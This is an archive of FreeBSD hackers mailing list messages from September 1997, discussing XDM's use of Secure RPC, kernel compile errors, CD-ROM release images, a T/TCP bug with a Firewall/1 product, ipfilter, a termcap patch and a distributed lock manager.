(from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA11432 for hackers-outgoing; Wed, 17 Sep 1997 06:43:04 -0700 (PDT) Received: from omnivax (skynet.ctr.columbia.edu [128.59.64.70]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id GAA11426 for ; Wed, 17 Sep 1997 06:42:59 -0700 (PDT) Received: (from wpaul@localhost) by skynet.ctr.columbia.edu (8.6.12/8.6.9) id JAA21829; Wed, 17 Sep 1997 09:29:10 -0400 From: Bill Paul Message-Id: <199709171329.JAA21829@skynet.ctr.columbia.edu> Subject: Re: XDM again To: lutz@muc.de (Lutz Albers) Date: Wed, 17 Sep 1997 09:29:08 -0400 (EDT) Cc: hackers@freebsd.org, sebesty@cs.elte.hu In-Reply-To: from "Lutz Albers" at Sep 17, 97 11:17:47 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Of all the gin joints in all the towns in all the world, Lutz Albers had to walk into mine and say: > > Zoltan Sebestyen wrote on 17.09.1997 > XDM again > > > >Hi, > > > > I've just found out that I'm totally wrong. I wrote my previous letter > >about XDM, because I'm porting KDE's xdm replacement and the linker > >complained that it can't resolve '_getnetname'. I thought it's a Linux > >hack, but it isn't, the original xdm also uses this function. Does anyone > >know in which library is this function? (On Linux, it's in libc, but no > >header contains its definition!) > > Maybe you're looking for something like: > getnetent, getnetbyaddr, getnetbyname, setnetent, endnetent > - get network entry Bzzzzt! I'm sorry that's incorrect, but that's for playing. getnetname() is a Secure RPC function. Only FreeBSD-current has Secure RPC support. (Adding it required fairly big changes, which is why it's not in 2.2.5.) If you have a FreeBSD-current system, getnetname() is prototyped in /usr/include/rpc/auth.h. XDM can use Secure RPC for authentication but this fearture is normally disabled in the stock X11 distribution as it entails the use of some DES encryption routines. -Bill -- ============================================================================= -Bill Paul (212) 854-6020 | System Manager, Master of Unix-Fu Work: wpaul@ctr.columbia.edu | Center for Telecommunications Research Home: wpaul@skynet.ctr.columbia.edu | Columbia University, New York City ============================================================================= "It is not I who am crazy; it is I who am mad!" - Ren Hoek, "Space Madness" ============================================================================= From owner-freebsd-hackers Wed Sep 17 07:27:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA15684 for hackers-outgoing; Wed, 17 Sep 1997 07:27:29 -0700 (PDT) Received: from piggy.mdstud.chalmers.se (root@piggy.mdstud.chalmers.se [129.16.234.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA15674 for ; Wed, 17 Sep 1997 07:27:19 -0700 (PDT) Received: from dada10.mdstud.chalmers.se (md6tommy@dada10.mdstud.chalmers.se [129.16.235.80]) by piggy.mdstud.chalmers.se (8.8.5/8.8.5) with ESMTP id QAA27281 for ; Wed, 17 Sep 1997 16:26:39 +0200 (MET DST) Received: from localhost (md6tommy@localhost) by dada10.mdstud.chalmers.se (8.8.5/8.8.5) with SMTP id QAA02344 for ; Wed, 17 Sep 1997 16:26:36 +0200 (MET DST) X-Authentication-Warning: dada10.mdstud.chalmers.se: md6tommy owned process doing -bs Date: Wed, 17 Sep 1997 16:26:36 +0200 (MET DST) From: Tommy Hallgren To: freebsd-hackers@freebsd.org Subject: CDROM image Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I read that the Debian group has made a CDROM image of their release, maybe this would be a good idea for the FreeBSD community as well? The idea is nice, just download the image, burn it, make some floppys and reboot. Mvh: Tommy From owner-freebsd-hackers Wed Sep 17 08:07:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA17397 for hackers-outgoing; Wed, 17 Sep 1997 08:07:06 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA17391 for ; Wed, 17 Sep 1997 08:07:04 -0700 (PDT) Received: (from batie@localhost) by agora.rdrop.com (8.8.5/8.8.5) id IAA22793; Wed, 17 Sep 1997 08:07:01 -0700 (PDT) Message-ID: <19970917080701.13204@agora.rdrop.com> Date: Wed, 17 Sep 1997 08:07:01 -0700 From: Alan Batie To: hackers@FreeBSD.ORG Subject: Re: login classes References: <199709170823.BAA29135@hub.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: <199709170823.BAA29135@hub.freebsd.org>; from owner-hackers-digest@FreeBSD.ORG on Wed, Sep 17, 1997 at 01:23:23AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > From: David Nugent > Date: Wed, 17 Sep 1997 17:45:27 +1100 > Subject: Re: login classes > > Samba I have no experience with whatsoever. Perhaps it is a special > case that needs some attention by whoever integrated it into > FreeBSD. > > Which *specific* limits are you running into problems with? In my case, it's the # of processes limit, and it's always with programs that change uids --- the issue is that when they change to my uid, they don't pick up my resource limits and what they had before was too limited for the new environment, and thus they're not allowed to fork. I'm inclined to believe that either they should pick up the new resource limits automatically, without having to call setusercontext(), or they should remain counted as the original user for the purposes of resource limit checking. I think the latter would be a lot harder to do, and I think the former is better, but arguments could be made either way. -- Alan Batie ______ It's not my fault! It's some guy batie@agora.rdrop.com \ / named "General Protection"! +1 503 452-0960 \ / --Ratbert PGP FP: DE 3C 29 17 C0 49 \/ 7A 27 40 A5 3C 37 4A DA 52 B9 It is my policy to avoid purchase of any products from companies which use unrequested email advertisements or telephone solicitation. From owner-freebsd-hackers Wed Sep 17 08:10:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA17722 for hackers-outgoing; Wed, 17 Sep 1997 08:10:20 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA17711 for ; Wed, 17 Sep 1997 08:10:16 -0700 (PDT) Received: from argus.tfs.net (node26.tfs.net [207.2.220.26]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id JAA06735 for ; Wed, 17 Sep 1997 09:08:49 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id KAA04527 for freebsd-hackers@freebsd.org; Wed, 17 Sep 1997 10:10:09 -0500 (CDT) From: Jim Bryant Message-Id: <199709171510.KAA04527@argus.tfs.net> Subject: 2.2-STABLE lint To: freebsd-hackers@freebsd.org Date: Wed, 17 Sep 1997 10:10:08 -0500 (CDT) Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id IAA17714 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk yeah, i'm finally cvsup'ed 2.2-STABLE... noticed a lot of compiler warnings, primarily: warning: comparison between signed and unsigned then at the very end [param.c], it crashed here: struct timezone tz = { TIMEZONE, DST }; giving the errors: cc -c -O -W -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit -nostdinc -I. -I../.. -I../../sys -I../../../include -DI386_CPU -DI486_CPU -DI586_CPU -DCOMPAT_LINUX -DUPDATE_INTERVAL=30 -DFASTLINKS -DQUOTA -DUMAPFS -DNULLFS -DKERNFS -DMFS -DCD9660 -DNFS -DFDESC -DMSDOSFS -DPROCFS -DFFS -DNETATALK -DIPX_ERRPRINTFS=0 -DIPXPRINTFS=0 -DIPX -DIPDIVERT -DIPFIREWALL_VERBOSE -DIPFIREWALL -DMROUTING -DINET -DSHMMAXPGS=128 -DSYSVSHM -DSYSVMSG -DSYSVSEM -DFIFO -DXSERVER -DUCONSOLE -DWANT_JOYSTICK_CONNECTED -DCOM_BIDIR -DSTAR_SAVER -DMAXCONS=16 -DAHC_SCBPAGING_ENABLE -DAHC_ALLOW_MEMIO -DAHC_TAGENABLE -DSCSI_REPORT_GEOMETRY -DFDSEEKWAIT=16 -DATAPI_STATIC -DATAPI -DDUMMY_NOPS -DAUTO_EOI_1 -DBOUNCE_BUFFERS -DCOMPAT_43 -DPROBE_VERBOSE -DDFLDSIZ=256*1024*1024 -DMAXDSIZ=256*1024*1024 -DPANIC_REBOOT_WAIT_TIME=30 -DPERFMON -DUSE_RTC_CENTURY -DCLK_USE_I586_CALIBRATION -DCLK_USE_I8254_CALIBRATION -DMD5 -DINCLUDE_CONFIG_FILE -DVISUAL_USERCONFIG -DUSERCONFIG -DFAILSAFE -DNSWAPDEV=1 -DNMBCLUSTERS=1024 -DOPEN_MAX=1024 -DCHILD_MAX=1024 -DKERNEL -Di386 -DLOAD_ADDRESS=0xF0100000 -DMAXUSERS=16 param.c param.c:82: `TIMEZONE' undeclared here (not in a function) param.c:82: initializer element for `tz.tz_minuteswest' is not constant param.c:82: `DST' undeclared here (not in a function) param.c:82: initializer element for `tz.tz_dsttime' is not constant *** Error code 1 Stop. After checking GENERIC, I could not find anything there, or in LINT, thus I don't think that it is even documented anywhere but in the souce, which states: /* * System parameter formulae. * * This file is copied into each directory where we compile * the kernel; it should be modified there to suit local taste * if necessary. * * Compiled with -DHZ=xx -DTIMEZONE=x -DDST=x -DMAXUSERS=xx */ What is the proper usage for these fields? Right now, I keep a UTC RTC. Would -DTIMEZONE=0 -DDST=0 be the ticket for my case? jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Wed Sep 17 08:13:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA17974 for hackers-outgoing; Wed, 17 Sep 1997 08:13:03 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA17969 for ; Wed, 17 Sep 1997 08:13:00 -0700 (PDT) Received: from argus.tfs.net (node26.tfs.net [207.2.220.26]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id JAA07106 for ; Wed, 17 Sep 1997 09:11:32 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id KAA04559 for freebsd-hackers@freebsd.org; Wed, 17 Sep 1997 10:12:54 -0500 (CDT) From: Jim Bryant Message-Id: <199709171512.KAA04559@argus.tfs.net> Subject: 2.2-STABLE To: freebsd-hackers@freebsd.org Date: Wed, 17 Sep 1997 10:12:53 -0500 (CDT) Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I hardcoded DST and TIMEZONE to 0 in param.c, and continued the compile, and got: loading kernel ld: internal error: allocated set symbol space (70) doesn't match actual (72) *** Error code 1 Stop. This is a new one on me... jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Wed Sep 17 08:23:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA18534 for hackers-outgoing; Wed, 17 Sep 1997 08:23:01 -0700 (PDT) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA18524 for ; Wed, 17 Sep 1997 08:22:56 -0700 (PDT) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <52042(2)>; Wed, 17 Sep 1997 08:22:17 PDT Received: from localhost by crevenia.parc.xerox.com with SMTP id <177486>; Wed, 17 Sep 1997 08:22:14 -0700 cc: fenner@parc.xerox.com (Bill Fenner) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Subject: Re: Any TCP expert around? In-reply-to: Your message of "Tue, 16 Sep 97 09:15:10 PDT." <19970916181510.OK51303@ida.interface-business.de> Date: Wed, 17 Sep 1997 08:22:05 PDT From: Bill Fenner Message-Id: <97Sep17.082214pdt.177486@crevenia.parc.xerox.com> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk For the interested -hackers viewers, we tracked this down to an extremely bogus TCP implementation on the Firewall/1 which reflects the TCP options on the SYN on its SYN/ACK, combined with a naive T/TCP implementation on FreeBSD that never thought that someone might send a CC or CCNEW option on a SYN/ACK without sending a CCECHO. The upshot is that the use of T/TCP (not to mention window scaling and timestamps) was negotiated on the connection, and all further packets from the Firewall/1 were dropped because they did not belong to this T/TCP session. The solution is just a couple of lines to double-check that CCECHO is present on the SYN/ACK. I'll be committing the fix in a little bit (I want to add more tcpstat counters too, since there are no counters for these drops so it's much harder to figure out what's going on). Bill (The Firewall/1 also sends a *second* SYN, with a smaller MSS, window, and different sequence numbers, but it is dropped because of the out-of-range sequence number and the connection continues as though nothing happened.) From owner-freebsd-hackers Wed Sep 17 08:41:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA19420 for hackers-outgoing; Wed, 17 Sep 1997 08:41:57 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA19415 for ; Wed, 17 Sep 1997 08:41:55 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id IAA20329; Wed, 17 Sep 1997 08:41:32 -0700 (PDT) To: Tommy Hallgren cc: freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-reply-to: Your message of "Wed, 17 Sep 1997 16:26:36 +0200." Date: Wed, 17 Sep 1997 08:41:32 -0700 Message-ID: <20322.874510892@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk You mean they make it available for FTP? Sure, I could do that easily, I've just never knew that anyone would really _want_ a 640MB file to download. What do other folks think? Jordan From owner-freebsd-hackers Wed Sep 17 08:43:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA19508 for hackers-outgoing; Wed, 17 Sep 1997 08:43:30 -0700 (PDT) Received: from onyx.atipa.com (user6220@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA19503 for ; Wed, 17 Sep 1997 08:43:26 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 17 Sep 1997 15:47:18 -0000 Date: Wed, 17 Sep 1997 09:47:18 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: Tommy Hallgren cc: freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, Tommy Hallgren wrote: > I read that the Debian group has made a CDROM image of their release, > maybe this would be a good idea for the FreeBSD community as well? > > The idea is nice, just download the image, burn it, make some floppys and > reboot. > > Mvh: Tommy When we burn a CD-ROM here, the only place it gets nasty is in the packages section. I can not get our CD burner to respect the symlinks; it actually copies the file into two places, eg: rwxr-xr-x 1 bin bin - 18 Sep 15 21:47 /usr/bin/vi@ -> /usr/local/bin/vim would actually have two copies of the file, one in /usr/bin and one in /usr/local/bin in this case. That doubles the amount of room needed for the packages, and then the image exceeds the 650MB limit. The other issue with the packages is the nomenclature. "Romeo" naming truncates the names into DOS format. Joliet works, but not all software supports it. I think the heirarchy for the packages could benefit from a different format, possibly eliminating the "All" directory, making the filenames DOS compatible, and having an index file that would be read and parsed during the install. Obviously the system in place has its justification. Theses suggestions only deal with the CD burning process. Anyone else have similar experience? Kevin From owner-freebsd-hackers Wed Sep 17 08:48:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA19786 for hackers-outgoing; Wed, 17 Sep 1997 08:48:09 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA19780 for ; Wed, 17 Sep 1997 08:48:04 -0700 (PDT) Received: from argus.tfs.net (node26.tfs.net [207.2.220.26]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id JAA11670; Wed, 17 Sep 1997 09:46:37 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id KAA06560; Wed, 17 Sep 1997 10:47:59 -0500 (CDT) From: Jim Bryant Message-Id: <199709171547.KAA06560@argus.tfs.net> Subject: Re: CDROM image In-Reply-To: from Tommy Hallgren at "Sep 17, 97 04:26:36 pm" To: md6tommy@mdstud.chalmers.se (Tommy Hallgren) Date: Wed, 17 Sep 1997 10:47:57 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > I read that the Debian group has made a CDROM image of their release, > maybe this would be a good idea for the FreeBSD community as well? > > The idea is nice, just download the image, burn it, make some floppys and > reboot. > > Mvh: Tommy One size does not fit all... jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Wed Sep 17 08:55:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA20112 for hackers-outgoing; Wed, 17 Sep 1997 08:55:01 -0700 (PDT) Received: from mail12.digital.com (mail12.digital.com [192.208.46.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA20102 for ; Wed, 17 Sep 1997 08:54:58 -0700 (PDT) Received: from cssmuc.frt.dec.com (cssmuc.frt.dec.com [16.186.96.161]) by mail12.digital.com (8.7.5/UNX 1.5/1.0/WV) with SMTP id LAA06174 for ; Wed, 17 Sep 1997 11:49:48 -0400 (EDT) Received: from mofo.frt.dec.com by cssmuc.frt.dec.com; (5.65v3.2/1.1.8.2/14Nov95-0232PM) id AA20325; Wed, 17 Sep 1997 17:49:46 +0200 Received: from mofo.frt.dec.com (localhost [127.0.0.1]) by mofo.frt.dec.com (8.8.6/8.8.5) with ESMTP id RAA03941 for ; Wed, 17 Sep 1997 17:47:24 GMT Message-Id: <199709171747.RAA03941@mofo.frt.dec.com> X-Mailer: exmh version 2.0zeta 7/24/97 To: hackers@freebsd.org In-Reply-To: Message from Jimbo Bahooli of Tue, 16 Sep 1997 20:00:02 EST. Reply-To: gjennejohn@frt.dec.com Subject: Re: lets get ipfilter as default Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 17:47:24 +0000 From: Gary Jennejohn Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jimbo Bahooli writes: > > Seeing ipfilter sitting in /usr/src/contrib, in a mostly > disfunctional state, I find it irritating. Why not replace ipfw with it, > I can find no advantage that ipfw has, other then being old and > traditional. > It is clearly better, and if its not integrated because it doesnt > work, that is incorrect. When the first version came out with a freebsd > port, proff patched it all up and it worked great. His patches may still > be rotting in incoming on ftp.freebsd.org. I mean 3.0 is going to have > SMP, why not give it a modern firewall program. > I suspect that none of the committers feel responsible for it since the developer himself has commit privileges. --- Gary Jennejohn (work) gjennejohn@frt.dec.com (home) garyj@muc.de (play) gj@freebsd.org From owner-freebsd-hackers Wed Sep 17 09:01:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA20491 for hackers-outgoing; Wed, 17 Sep 1997 09:01:46 -0700 (PDT) Received: from mailout03.btx.dtag.de (mailout03.btx.dtag.de [194.25.2.151]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA20486 for ; Wed, 17 Sep 1997 09:01:41 -0700 (PDT) Received: from fwd05.btx.dtag.de [194.25.2.165] by mailout03.btx.dtag.de with smtp id 0xBKv0-0003vd-00; Wed, 17 Sep 1997 16:17:27 +0200 Received: (053235370-0001(btxid)@[193.159.66.130]) by fwd05.btx.dtag.de with (S3.1.29.1) id ; Wed, 17 Sep 97 16:17 MET DST Message-Id: Date: Wed, 17 Sep 97 16:17 MET DST To: hackers@freebsd.org Subject: Submission X-Mailer: T-Online eMail 2.0 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT X-Sender: 053235370-0001@t-online.de (Klaus-Juergen Wolf) From: Yanestra@t-online.de (Yanestra) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Dear people, following the diffs for /usr/share/termcap to include a "kH" entry. --cut-here-- 2375c2375 < :kN=\E[G:kP=\E[I:@7=\E[F:kI=\E[L:kD=\177:kB=\E[Z:\ --- > :kN=\E[G:kP=\E[I:@7=\E[F:kI=\E[L:kD=\177:kB=\E[Z:kH=\E[F:\ --cut-here-- Does anybody know what the @7 entry is good for? Thanks & Good bye Klaus-J. Wolf From owner-freebsd-hackers Wed Sep 17 09:05:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA20762 for hackers-outgoing; Wed, 17 Sep 1997 09:05:15 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA20737 for ; Wed, 17 Sep 1997 09:05:05 -0700 (PDT) Received: (qmail 15540 invoked by uid 1000); 17 Sep 1997 16:05:26 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 17 Sep 1997 09:05:26 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Alfred Perlstein Subject: Re: Distributed Lock Manager on FreeBSD Cc: FreeBSD-Hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Alfred Perlstein; On 17-Sep-97 you wrote: > I'm sorry, i wouldn't really know where to post the info, here would > probably be ok if it deals with system specifics and such. if you > choose > another location for posting could you please inform me? Of course. I am going to setup a mailing list today. I will register you in it. It will be announced here. --- Sincerely Yours, (Sent on 17-Sep-97, 08:56:10 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Wed Sep 17 09:05:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA20769 for hackers-outgoing; Wed, 17 Sep 1997 09:05:16 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA20739 for ; Wed, 17 Sep 1997 09:05:05 -0700 (PDT) Received: (qmail 15550 invoked by uid 1000); 17 Sep 1997 16:05:27 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 17 Sep 1997 09:05:27 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Chuck Robey Subject: Re: Distributed Lock Manager on FreeBSD (fwd) Cc: FreeBSD-Hackers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Chuck Robey; On 17-Sep-97 you wrote: ... > I'm impressed! This is a huge undertaking. I'd love to read more, I > hope > you post updates, or give URL's where I can read more about it. Actually, there is very little code in it. Understanding the issues and designing were more difficult. --- Sincerely Yours, (Sent on 17-Sep-97, 08:59:34 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Wed Sep 17 09:05:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA20793 for hackers-outgoing; Wed, 17 Sep 1997 09:05:24 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA20754 for ; Wed, 17 Sep 1997 09:05:11 -0700 (PDT) Received: (qmail 15554 invoked by uid 1000); 17 Sep 1997 16:05:27 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 17 Sep 1997 09:05:27 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Tommy Hallgren Subject: RE: CDROM image Cc: freebsd-hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Tommy Hallgren; On 17-Sep-97 you wrote: > I read that the Debian group has made a CDROM image of their release, > maybe this would be a good idea for the FreeBSD community as well? > > The idea is nice, just download the image, burn it, make some floppys > and > reboot. It's all in the image. In freeBSD we call it ``cd /usr/src/release;make release'' In Debian it is a ``bit'' more involved (as in not reproducable) --- Sincerely Yours, (Sent on 17-Sep-97, 09:01:25 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Wed Sep 17 09:05:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA20777 for hackers-outgoing; Wed, 17 Sep 1997 09:05:20 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA20738 for ; Wed, 17 Sep 1997 09:05:05 -0700 (PDT) Received: (qmail 15546 invoked by uid 1000); 17 Sep 1997 16:05:27 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 17 Sep 1997 09:05:26 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Niall Smart Subject: Re: Distributed Lock Manager on FreeBSD Cc: FreeBSD-Hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Niall Smart; On 17-Sep-97 you wrote: > On Tue, 16 Sep 1997, Simon Shapiro wrote: > > Hi Amancio Hasty; On 17-Sep-97 you wrote: > > > Microsoft's strategy for server clusters: > > > http://www.microsoft.com/ntserver/info/reliabilityoverview.htm > > > > It looks like a very large undertaking on their part. I think I > > disagree > > with some of their concepts, but if your intent is to create similar > > service under FreeBSD, then this is about what we are building. > [snip] > > A DLM is key to these technologies. The you need an RDBMS which > > understands the sharing concept. A raw/block device is to follow, then > > a > > file system. This is the order in which we are going, anyway. > > Hi, > > Your project sounds very cool, is there anything like this available > commercially? It must have been a lot of work to implement, and > its usually quite difficult to persuade management to trust their > data to software with "Free" in its name! Well done. My management does :-) Was not easy. If they insist on paying for it, we can talk about it offline. --- 